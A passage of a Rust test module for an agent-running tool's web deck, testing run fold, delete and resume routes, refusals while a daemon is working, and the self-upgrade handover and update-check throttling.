13014        assert!(APP_JS.contains("disabled: status === \"running\""));
13015    }
13016
13017    /// Every element a run card's updater reaches for must be in the `refs`
13018    /// the builder handed it.
13019    ///
13020    /// `createRunCard` builds its elements, appends them to the card, and then
13021    /// lists them again in `row.refs`. That second list is the one the updater
13022    /// uses, and nothing connects the two - an element can be built, appended
13023    /// and rendered, and still be missing from `refs`. `superseded` was, for
13024    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
13025    /// exception took `syncList` with it, and the deck showed
13026    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
13027    /// line is computed before the cards, which is why the failure looked like
13028    /// a server that had lost its runs rather than a front end that had
13029    /// stopped rendering them.
13030    ///
13031    /// A `cargo test` cannot execute the front end, so this reads the two
13032    /// halves out of the source and compares them as sets. It is not a check
13033    /// on the wording of either list: adding an element, renaming one, or
13034    /// reordering them all keeps this passing, and only using one the builder
13035    /// never published fails it.
13036    #[test]
13037    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13038        let build = APP_JS
13039            .find("function createRunCard")
13040            .expect("createRunCard exists");
13041        let update = APP_JS
13042            .find("function updateRunCard")
13043            .expect("updateRunCard exists");
13044        let end = APP_JS
13045            .find("function renderRuns")
13046            .expect("renderRuns exists");
13047
13048        // The builder's published set: the object literal assigned to `refs`.
13049        let builder = &APP_JS[build..update];
13050        let open = builder.find("refs = {").expect("createRunCard sets refs");
13051        let literal = &builder[open + "refs = {".len()..];
13052        let close = literal.find('}').expect("the refs literal is closed");
13053        let published: HashSet<&str> = literal[..close]
13054            .split(',')
13055            // `name` and `name: value` both bind `name`.
13056            .filter_map(|entry| entry.split(':').next())
13057            .map(str::trim)
13058            .filter(|name| !name.is_empty())
13059            .collect();
13060        assert!(
13061            published.len() > 5,
13062            "the refs literal did not parse into names: {published:?}"
13063        );
13064
13065        // What the updaters reach for: every `r.<name>`, where `r` is the
13066        // `const r = row.refs` alias both functions open with.
13067        let mut used: Vec<&str> = Vec::new();
13068        let updaters = &APP_JS[update..end];
13069        for (at, _) in updaters.match_indices("r.") {
13070            // `r` must be the whole identifier, not the tail of another one
13071            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
13072            let before = updaters[..at].chars().next_back();
13073            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13074                continue;
13075            }
13076            let rest = &updaters[at + 2..];
13077            let len = rest
13078                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13079                .unwrap_or(rest.len());
13080            if len > 0 {
13081                used.push(&rest[..len]);
13082            }
13083        }
13084        assert!(
13085            used.len() > 5,
13086            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13087        );
13088
13089        let missing: Vec<&str> = used
13090            .iter()
13091            .copied()
13092            .filter(|name| !published.contains(name))
13093            .collect();
13094        assert!(
13095            missing.is_empty(),
13096            "a run card's updater reaches for {missing:?}, which `createRunCard` \
13097             never put in `refs` - every card will throw and the list will \
13098             render empty under a count line that says otherwise. Published: \
13099             {published:?}"
13100        );
13101    }
13102
13103    #[tokio::test]
13104    async fn folding_from_the_phone_reports_what_it_removed() {
13105        let fx = Fixture::start().await;
13106        let runs = fx.runs();
13107
13108        // A run with no candidates has nothing to fold, which is a 200 with an
13109        // honest count rather than an error: the operator asked for the trees
13110        // to be gone and they are.
13111        let id = "20260901-000000-fold";
13112        write_run(&runs, id, RunStatus::Stalled);
13113        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13114        assert_eq!(res.status, 200);
13115        assert_eq!(res.json()["removed_count"], 0);
13116        assert_eq!(res.json()["run"], id);
13117        assert!(
13118            runs.join(id).exists(),
13119            "a fold keeps the run's record; only the worktrees go"
13120        );
13121    }
13122
13123    #[tokio::test]
13124    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13125        let fx = Fixture::start().await;
13126        let runs = fx.runs();
13127        let wt = fx.home.path().join("wt").join("magi").join("dead");
13128        let id = "20260901-000000-dead";
13129        std::fs::create_dir_all(runs.join(id)).expect("run dir");
13130        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13131        std::fs::create_dir_all(&wt).expect("worktree dir");
13132
13133        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13134        assert_eq!(res.status, 200, "{}", res.body);
13135        assert!(
13136            res.json()["removed_count"].as_u64().unwrap() > 0,
13137            "the worktree this build could not read a state for still went"
13138        );
13139        assert!(
13140            !runs.join(id).exists(),
13141            "an unreadable run has no candidate list to fold selectively, so \
13142             the whole record goes - same as `magi fold` on the CLI"
13143        );
13144    }
13145
13146    #[tokio::test]
13147    async fn deleting_an_unreadable_run_removes_it_wholesale() {
13148        let fx = Fixture::start().await;
13149        let runs = fx.runs();
13150        let wt = fx.home.path().join("wt").join("magi").join("gone");
13151        let id = "20260901-000000-gone";
13152        std::fs::create_dir_all(runs.join(id)).expect("run dir");
13153        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13154        std::fs::create_dir_all(&wt).expect("worktree dir");
13155
13156        let res = fx.delete(&format!("/api/runs/{id}")).await;
13157        assert_eq!(res.status, 204, "{}", res.body);
13158        assert!(!runs.join(id).exists(), "the broken record is gone");
13159        assert!(!wt.exists(), "its worktree is gone too");
13160    }
13161
13162    #[tokio::test]
13163    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13164        let fx = Fixture::start().await;
13165        let runs = fx.runs();
13166        let id = "20260901-000000-live";
13167        write_run(&runs, id, RunStatus::Implementing);
13168
13169        let mut beat = crate::daemon::Status::new();
13170        beat.current = vec![crate::daemon::Current {
13171            task: "20260901-000000-task".to_owned(),
13172            run: id.to_owned(),
13173        }];
13174        beat.updated_at = jiff::Timestamp::now();
13175        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13176            .expect("publish a heartbeat");
13177
13178        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13179        assert_eq!(res.status, 409);
13180        assert!(
13181            res.json()["error"]
13182                .as_str()
13183                .unwrap()
13184                .contains("live daemon"),
13185            "folding under a running agent would pull its worktree away"
13186        );
13187    }
13188
13189    #[tokio::test]
13190    async fn fold_merged_requires_a_pr_url() {
13191        let fx = Fixture::start().await;
13192        let runs = fx.runs();
13193        let id = "20260901-000000-nourl";
13194        write_run(&runs, id, RunStatus::Blocked);
13195
13196        let res = fx
13197            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13198            .await;
13199        assert_eq!(res.status, 400, "{}", res.body);
13200
13201        let blank = fx
13202            .post(
13203                &format!("/api/runs/{id}/fold-merged"),
13204                Some(r#"{"pr_url":"   "}"#),
13205            )
13206            .await;
13207        assert_eq!(blank.status, 400, "{}", blank.body);
13208    }
13209
13210    #[tokio::test]
13211    async fn fold_merged_is_404_for_an_unknown_run() {
13212        let fx = Fixture::start().await;
13213        let res = fx
13214            .post(
13215                "/api/runs/nosuchrun/fold-merged",
13216                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13217            )
13218            .await;
13219        assert_eq!(res.status, 404, "{}", res.body);
13220    }
13221
13222    #[tokio::test]
13223    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13224        let fx = Fixture::start().await;
13225        let runs = fx.runs();
13226        let id = "20260901-000000-livemerge";
13227        write_run(&runs, id, RunStatus::Blocked);
13228
13229        let mut beat = crate::daemon::Status::new();
13230        beat.current = vec![crate::daemon::Current {
13231            task: "20260901-000000-task".to_owned(),
13232            run: id.to_owned(),
13233        }];
13234        beat.updated_at = jiff::Timestamp::now();
13235        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13236            .expect("publish a heartbeat");
13237
13238        let res = fx
13239            .post(
13240                &format!("/api/runs/{id}/fold-merged"),
13241                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13242            )
13243            .await;
13244        assert_eq!(res.status, 409, "{}", res.body);
13245        assert!(
13246            res.json()["error"]
13247                .as_str()
13248                .unwrap()
13249                .contains("live daemon"),
13250            "correcting a run's merge underneath a running agent would race \
13251             whatever it is doing to the same `status`/`merge` fields"
13252        );
13253    }
13254
13255    /// A pull request `gh` cannot even ask about (no such remote, no such
13256    /// repository) must never be recorded as a merge on a guess - the same
13257    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
13258    /// command line, reached here through the phone route instead.
13259    #[tokio::test]
13260    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13261        let fx = Fixture::start().await;
13262        let runs = fx.runs();
13263        let id = "20260901-000000-unconfirmed";
13264        write_run(&runs, id, RunStatus::Blocked);
13265
13266        let res = fx
13267            .post(
13268                &format!("/api/runs/{id}/fold-merged"),
13269                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13270            )
13271            .await;
13272        assert_eq!(res.status, 400, "{}", res.body);
13273        assert_eq!(
13274            read_run(&runs, id).unwrap().status,
13275            RunStatus::Blocked,
13276            "a pull request that could not be confirmed merged must leave \
13277             the run exactly where it was"
13278        );
13279    }
13280
13281    #[tokio::test]
13282    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13283        let fx = Fixture::start().await;
13284        let runs = fx.runs();
13285
13286        // Only a finished run and a failed one. An *interrupted* run - a
13287        // parked one, or one whose daemon was killed mid-node - is the case
13288        // resuming exists for: run 4043 sat at `reviewing` with the deck
13289        // saying it could not be resumed, which was the one state where
13290        // resuming was the only sensible answer.
13291        for (status, word) in [
13292            (RunStatus::Merged, "merged"),
13293            (RunStatus::Ready, "ready"),
13294            (RunStatus::Failed, "failed"),
13295        ] {
13296            let id = format!("20260901-000000-{}", &word[..4]);
13297            write_run(&runs, &id, status);
13298            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13299            assert_eq!(res.status, 409, "{word} must not be resumable");
13300            let err = res.json()["error"].as_str().unwrap().to_owned();
13301            assert!(err.contains(word), "the refusal names the status: {err}");
13302        }
13303
13304        // And an interrupted run is accepted: 202, with the resume running in
13305        // the background. `Runner::resume` fails immediately here - the
13306        // fixture's run points at a repository that does not exist - which is
13307        // the point: the handler must not wait for it to find out.
13308        let mid = "20260901-000000-midf";
13309        write_run(&runs, mid, RunStatus::Reviewing);
13310        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13311        assert_eq!(res.status, 202, "an interrupted run is resumable");
13312    }
13313
13314    #[tokio::test]
13315    async fn resume_is_refused_while_the_loop_is_running() {
13316        let fx = Fixture::start().await;
13317        let runs = fx.runs();
13318        let stalled = "20260901-000000-stal";
13319        write_run(&runs, stalled, RunStatus::Stalled);
13320
13321        // The loop is busy with a *different* run, and that is still a
13322        // refusal: a manual resume must never race whatever the loop itself
13323        // is already driving, whether that is one run or several.
13324        let mut beat = crate::daemon::Status::new();
13325        beat.current = vec![crate::daemon::Current {
13326            task: "20260901-000000-task".to_owned(),
13327            run: "20260901-000000-othr".to_owned(),
13328        }];
13329        beat.updated_at = jiff::Timestamp::now();
13330        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13331            .expect("publish a heartbeat");
13332
13333        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13334        assert_eq!(res.status, 409);
13335        let err = res.json()["error"].as_str().unwrap().to_owned();
13336        assert!(err.contains("othr"), "it names what the loop is on: {err}");
13337        assert!(err.contains("stop it first"), "{err}");
13338    }
13339
13340    #[test]
13341    fn a_run_cannot_be_resumed_twice_at_once() {
13342        let home = TempDir::new().expect("temp home");
13343        let ui = Ui::new(
13344            Queue::at(home.path().join("queue")),
13345            Questions::at(home.path().join("questions")),
13346            Talks::at(home.path().join("talks")),
13347            home.path().join("runs"),
13348            home.path().to_path_buf(),
13349            PathBuf::from("/repo"),
13350        )
13351        .with_worktrees_root(home.path().join("wt"));
13352        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13353        let again = ui.begin_resume("20260901-000000-once");
13354        assert!(again.is_err(), "a second tap must not start a second graph");
13355        drop(first);
13356        assert!(
13357            ui.begin_resume("20260901-000000-once").is_ok(),
13358            "and the claim is released when the attempt ends"
13359        );
13360    }
13361
13362    #[test]
13363    fn talk_thinking_tracks_only_its_held_turn_claim() {
13364        let home = TempDir::new().expect("temp home");
13365        let ui = Ui::new(
13366            Queue::at(home.path().join("queue")),
13367            Questions::at(home.path().join("questions")),
13368            Talks::at(home.path().join("talks")),
13369            home.path().join("runs"),
13370            home.path().to_path_buf(),
13371            PathBuf::from("/repo"),
13372        )
13373        .with_worktrees_root(home.path().join("wt"));
13374        let id = "20260901-000000-once";
13375
13376        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13377        let turn = ui.begin_talk_turn(id).expect("claim turn");
13378        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13379        assert!(
13380            !ui.is_thinking("20260901-000000-other"),
13381            "one talk's turn does not make another talk busy"
13382        );
13383        drop(turn);
13384        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13385    }
13386
13387    #[tokio::test]
13388    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13389        let fx = Fixture::start().await;
13390        // Somebody else's `magi serve` owns the queue. Replacing this binary
13391        // would leave that process running an old one against the same
13392        // claims, which is worse than refusing.
13393        let mut beat = crate::daemon::Status::new();
13394        beat.pid = 4321;
13395        beat.updated_at = jiff::Timestamp::now();
13396        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13397            .expect("publish a heartbeat");
13398
13399        let res = fx.post("/api/upgrade", None).await;
13400        assert_eq!(res.status, 409);
13401        let err = res.json()["error"].as_str().unwrap().to_owned();
13402        assert!(err.contains("4321"), "the refusal names the owner: {err}");
13403        assert!(err.contains("old one against the same queue"), "{err}");
13404    }
13405
13406    /// [`should_spawn_recheck`] must refuse for the same two reasons
13407    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
13408    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
13409    /// Purely a predicate over config and the environment - no network, no
13410    /// disk, no runtime - so unlike the fixture-based tests around it this
13411    /// one needs neither.
13412    #[test]
13413    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13414        assert!(!should_spawn_recheck(&crate::config::Update {
13415            mode: UpdateMode::Off,
13416            interval: None,
13417        }));
13418
13419        // SAFETY: single-threaded as far as this variable goes, the same
13420        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
13421        unsafe {
13422            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13423        }
13424        let killed = should_spawn_recheck(&crate::config::Update {
13425            mode: UpdateMode::Notify,
13426            interval: None,
13427        });
13428        unsafe {
13429            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13430        }
13431        assert!(
13432            !killed,
13433            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13434             one-time startup check"
13435        );
13436
13437        assert!(should_spawn_recheck(&crate::config::Update {
13438            mode: UpdateMode::Notify,
13439            interval: None,
13440        }));
13441    }
13442
13443    /// [`recheck_poll_period`] must track a configured `[update] interval`
13444    /// shorter than its own default ceiling - a fixed sleep here would leave
13445    /// an operator's short interval waiting on the next wake-up instead of on
13446    /// `should_check`, which is the same bug this whole task exists to fix,
13447    /// just one level down.
13448    #[test]
13449    fn recheck_poll_period_tracks_a_short_configured_interval() {
13450        let short = crate::config::Update {
13451            mode: UpdateMode::Notify,
13452            interval: Some("1m".to_owned()),
13453        };
13454        let period = recheck_poll_period(&short);
13455        assert!(
13456            period <= Duration::from_secs(30),
13457            "a one-minute interval must wake the task far sooner than the \
13458             default ceiling, or the deck would not notice within the \
13459             interval the operator configured: got {period:?}"
13460        );
13461
13462        let default = crate::config::Update {
13463            mode: UpdateMode::Notify,
13464            interval: None,
13465        };
13466        assert_eq!(
13467            recheck_poll_period(&default),
13468            UPDATE_RECHECK_POLL_MAX,
13469            "the default day-long interval should poll at the (capped) \
13470             ceiling rather than needlessly often"
13471        );
13472    }
13473
13474    /// [`update_recheck_due`] must not repeat a check made moments ago, the
13475    /// same throttle `updater::Checker::should_check` already gives the
13476    /// CLI's notify mode. Built over an explicit state file via
13477    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
13478    /// write the operator's real `last_update_check.json` - and therefore
13479    /// cannot flake on whatever that file happens to say on the machine
13480    /// running the test.
13481    #[test]
13482    fn recheck_skips_the_network_before_the_interval_elapses() {
13483        let dir = TempDir::new().expect("temp dir");
13484        let path = dir.path().join("state.json");
13485        let state = kaishin::UpdateCheckState {
13486            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13487            last_known_latest: None,
13488            last_known_url: None,
13489        };
13490        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13491
13492        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13493        assert!(
13494            !update_recheck_due(&checker, None),
13495            "a check made moments ago must not be repeated before the \
13496             configured interval elapses"
13497        );
13498    }
13499
13500    /// An upgrade this deck already started must not be raced by a recheck
13501    /// that discovers a newer release mid-install - regardless of what
13502    /// `should_check` says, which is why the state file here is missing
13503    /// entirely: read alone, that alone would answer "never checked, go
13504    /// ahead".
13505    #[test]
13506    fn recheck_defers_to_an_upgrade_already_in_flight() {
13507        let dir = TempDir::new().expect("temp dir");
13508        let path = dir.path().join("state.json");
13509        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13510        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13511
13512        assert!(
13513            !update_recheck_due(&checker, Some(&progress)),
13514            "a recheck must not run while an upgrade this deck started is \
13515             still moving"
13516        );
13517    }
13518
13519    #[tokio::test]
13520    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13521        // The same env var the background check honours (`disabled_by_env`)
13522        // must also stop a button press before it ever calls
13523        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
13524        // means "never contact GitHub from this process", and a tap on the
13525        // upgrade button must not override that any more than a broken
13526        // `magi.toml` may. Left unset, this fixture's default config would
13527        // otherwise reach a real, unauthenticated GitHub call.
13528        //
13529        // SAFETY: single-threaded as far as this variable goes - nothing else
13530        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
13531        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
13532        unsafe {
13533            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13534        }
13535        let fx = Fixture::start().await;
13536        let res = fx.post("/api/upgrade", None).await;
13537        unsafe {
13538            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13539        }
13540        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13541        let body = res.json();
13542        assert!(body["to"].is_null(), "there was no release to move to");
13543        assert!(body["parked"].is_null(), "and nothing was parked");
13544        assert!(
13545            body["detail"]
13546                .as_str()
13547                .unwrap()
13548                .contains("disabled by MAGI_NO_AUTOUPDATE"),
13549            "{body:?}"
13550        );
13551    }
13552
13553    #[tokio::test]
13554    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13555        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
13556        // and the route answers from its own logic.
13557        //
13558        // This test used to lean on the fixture's placeholder repo failing
13559        // config discovery, which left `mode = "notify"` - and a live,
13560        // unauthenticated call to the GitHub releases API inside a unit test.
13561        // GitHub allows 60 of those an hour per address, so the suite went red
13562        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
13563        // long as somebody kept re-running it: every attempt spent another
13564        // request. Six reruns across four pull requests were charged to that
13565        // before it was read as a rate limit rather than a flake.
13566        //
13567        // What the assertion is about is the "already current" branch, which
13568        // is reached by there being no newer release *or* nowhere to look. The
13569        // second one needs no network and cannot be rate limited.
13570        let repo = TempDir::new().expect("repo dir");
13571        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13572            .expect("write magi.toml");
13573        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13574
13575        // It must answer 200 and leave the process alone: restarting for an
13576        // upgrade that did not happen parks the run in flight and drops every
13577        // connection to pay for nothing. A probe against a deck already on the
13578        // newest build did exactly that, which is how this case got its own
13579        // branch.
13580        let res = fx.post("/api/upgrade", None).await;
13581        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13582        let body = res.json();
13583        assert!(body["to"].is_null(), "there was no release to move to");
13584        assert!(body["parked"].is_null(), "and nothing was parked");
13585        assert!(
13586            body["detail"]
13587                .as_str()
13588                .unwrap()
13589                .contains("nothing restarted"),
13590            "{body:?}"
13591        );
13592    }
13593
13594    #[tokio::test]
13595    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13596        // `mode = "off"` for the same reason as the test above: a default
13597        // fixture repo falls back to `mode = "notify"`, which would make this
13598        // route's new `update` field a live, unauthenticated GitHub call on
13599        // every assertion in this suite that happens to hit `/api/health`.
13600        let repo = TempDir::new().expect("repo dir");
13601        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13602            .expect("write magi.toml");
13603        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13604
13605        let health = fx.get("/api/health").await.json();
13606        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13607        assert_eq!(
13608            health["update"]["available"], false,
13609            "checking is off, which reads as \"unknown\", not \"none\""
13610        );
13611        assert!(health["update"]["to"].is_null());
13612        assert!(
13613            health["upgrade"].is_null(),
13614            "nothing has ever asked this deck to upgrade"
13615        );
13616    }
13617
13618    #[tokio::test]
13619    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13620        let fx = Fixture::start().await;
13621        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13622
13623        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13624        progress.parked_run = Some("20260905-000000-cd51".to_owned());
13625        progress.advance(crate::updater::Stage::Parking);
13626        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13627
13628        let health = fx.get("/api/health").await.json();
13629        assert_eq!(health["upgrade"]["stage"], "parking");
13630        assert_eq!(health["upgrade"]["from"], "0.5.1");
13631        assert_eq!(health["upgrade"]["to"], "0.5.2");
13632        let waiting_on = health["upgrade"]["waiting_on"]
13633            .as_str()
13634            .expect("waiting_on is set while parking a known run");
13635        assert!(waiting_on.contains("cd51"), "{waiting_on}");
13636        assert!(waiting_on.contains("implementing"), "{waiting_on}");
13637    }
13638
13639    #[tokio::test]
13640    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13641        let fx = Fixture::start().await;
13642        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13643        progress.advance(crate::updater::Stage::Done);
13644        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13645
13646        let health = fx.get("/api/health").await.json();
13647        assert_eq!(health["upgrade"]["stage"], "done");
13648        assert!(
13649            health["upgrade"]["waiting_on"].is_null(),
13650            "nothing to wait on once it is done"
13651        );
13652    }
13653
13654    #[tokio::test]
13655    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13656        let home = TempDir::new().expect("temp home");
13657        let runs = home.path().join("runs");
13658        std::fs::create_dir_all(&runs).expect("runs dir");
13659        let ui = Ui::new(
13660            Queue::at(home.path().join("queue")),
13661            Questions::at(home.path().join("questions")),
13662            Talks::at(home.path().join("talks")),
13663            runs,
13664            home.path().to_path_buf(),
13665            PathBuf::from("/repo/magi"),
13666        )
13667        .with_launch(launch_idle);
13668        let looping = ui.looping();
13669        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13670            .await
13671            .expect("bind loopback");
13672        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13673
13674        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13675        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13676
13677        hand_over(home.path(), &looping, served, |_| Ok(1))
13678            .await
13679            .expect("hand over");
13680
13681        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13682        assert_eq!(
13683            after.stage,
13684            crate::updater::Stage::Restarting,
13685            "hand_over owns the record through parking and up to restarting; \
13686             the successor is what finishes it"
13687        );
13688    }
13689
13690    /// The successor is started exactly once on success, and exactly once on
13691    /// failure too (a failed start is reported, never retried).
13692    #[tokio::test]
13693    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
13694        for fail in [false, true] {
13695            let home = TempDir::new().expect("temp home");
13696            let ui = idle_ui(&home);
13697            let looping = ui.looping();
13698            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13699                .await
13700                .expect("bind loopback");
13701            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13702            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13703            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13704
13705            let calls = std::sync::atomic::AtomicUsize::new(0);
13706            let outcome = hand_over(home.path(), &looping, served, |_| {
13707                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
13708                if fail {
13709                    anyhow::bail!("no exec")
13710                } else {
13711                    Ok(4242)
13712                }
13713            })
13714            .await;
13715            assert_eq!(outcome.is_err(), fail);
13716            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
13717
13718            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
13719                .expect("upgrade.log is written under the home");
13720            for step in [
13721                "entered",
13722                "finish_loop",
13723                "listener released",
13724                "starting the successor",
13725            ] {
13726                assert!(log.contains(step), "missing `{step}` in:\n{log}");
13727            }
13728            assert!(
13729                log.contains(if fail { "did not start" } else { "pid 4242" }),
13730                "{log}"
13731            );
13732        }
13733    }
13734
13735    /// The handover signal is seen however the race falls, and wakes its one
13736    /// waiter once per signal - nothing here can spin.
13737    #[tokio::test]
13738    async fn the_handover_signal_wakes_one_waiter_once() {
13739        let signal = Notify::new();
13740        // Signalled before anyone waits: the stored permit is not lost.
13741        signal.notify_one();
13742        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
13743            .await
13744            .expect("an early signal is still seen");
13745        // One signal, one wake-up: a second wait does not resolve by itself.
13746        assert!(
13747            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
13748                .await
13749                .is_err(),
13750            "a consumed signal must not wake a second time"
13751        );
13752        // Signalled while waiting.
13753        let signal = std::sync::Arc::new(signal);
13754        let waiter = tokio::spawn({
13755            let signal = std::sync::Arc::clone(&signal);
13756            async move { wait_for_handover(&signal).await }
13757        });
13758        tokio::time::sleep(Duration::from_millis(20)).await;
13759        assert!(!waiter.is_finished(), "nothing was signalled yet");
13760        signal.notify_one();
13761        tokio::time::timeout(Duration::from_secs(5), waiter)
13762            .await
13763            .expect("a late signal wakes the waiter")
13764            .expect("join");
13765    }
13766
13767    #[tokio::test]
13768    async fn health_says_how_long_a_handover_has_been_stuck() {
13769        let fx = Fixture::start().await;
13770        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13771        progress.advance(crate::updater::Stage::Replaced);
13772        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
13773        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13774
13775        let health = fx.get("/api/health").await.json();
13776        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
13777        assert!(stuck >= 600, "{stuck}");
13778        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
13779    }
13780
13781    fn idle_ui(home: &TempDir) -> Ui {
13782        let runs = home.path().join("runs");
13783        std::fs::create_dir_all(&runs).expect("runs dir");
13784        Ui::new(
13785            Queue::at(home.path().join("queue")),
13786            Questions::at(home.path().join("questions")),
13787            Talks::at(home.path().join("talks")),
13788            runs,
13789            home.path().to_path_buf(),
13790            PathBuf::from("/repo/magi"),
13791        )
13792        .with_launch(launch_idle)
13793    }
13794
13795    /// Run `hand_over` against `ui` and return what the successor was told.
13796    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13797        let looping = ui.looping();
13798        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13799            .await
13800            .expect("bind loopback");
13801        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13802        let told = std::sync::Mutex::new(None);
13803        hand_over(home.path(), &looping, served, |resume| {
13804            *told.lock().unwrap() = Some(resume);
13805            Ok(1)
13806        })
13807        .await
13808        .expect("hand over");
13809        told.into_inner().unwrap().expect("successor was started")
13810    }
13811
13812    #[tokio::test]
13813    async fn a_running_loop_is_resumed_by_the_successor() {
13814        let home = TempDir::new().expect("temp home");
13815        let ui = idle_ui(&home);
13816        ui.start_loop(None).expect("start");
13817        ui.park_for_upgrade().expect("park");
13818        // The idle loop sees the park and ends before the handover fires.
13819        for _ in 0..500 {
13820            if !ui.loop_view(None).running {
13821                break;
13822            }
13823            tokio::time::sleep(Duration::from_millis(2)).await;
13824        }
13825        assert!(handed_over(&home, ui).await, "a running loop must resume");
13826
13827        let successor = idle_ui(&home);
13828        assert!(!successor.loop_view(None).running);
13829        assert!(successor.resume_after_handover(true));
13830        assert!(successor.loop_view(None).running);
13831        successor.stop_loop(None, false).expect("stop");
13832    }
13833
13834    #[tokio::test]
13835    async fn a_second_upgrade_request_keeps_the_resume_intent() {
13836        let home = TempDir::new().expect("temp home");
13837        let ui = idle_ui(&home);
13838        ui.start_loop(None).expect("start");
13839        ui.park_for_upgrade().expect("first park");
13840        ui.park_for_upgrade().expect("second park");
13841        assert!(handed_over(&home, ui).await);
13842    }
13843
13844    #[tokio::test]
13845    async fn a_stop_during_the_handover_wait_is_honoured() {
13846        let home = TempDir::new().expect("temp home");
13847        let ui = idle_ui(&home);
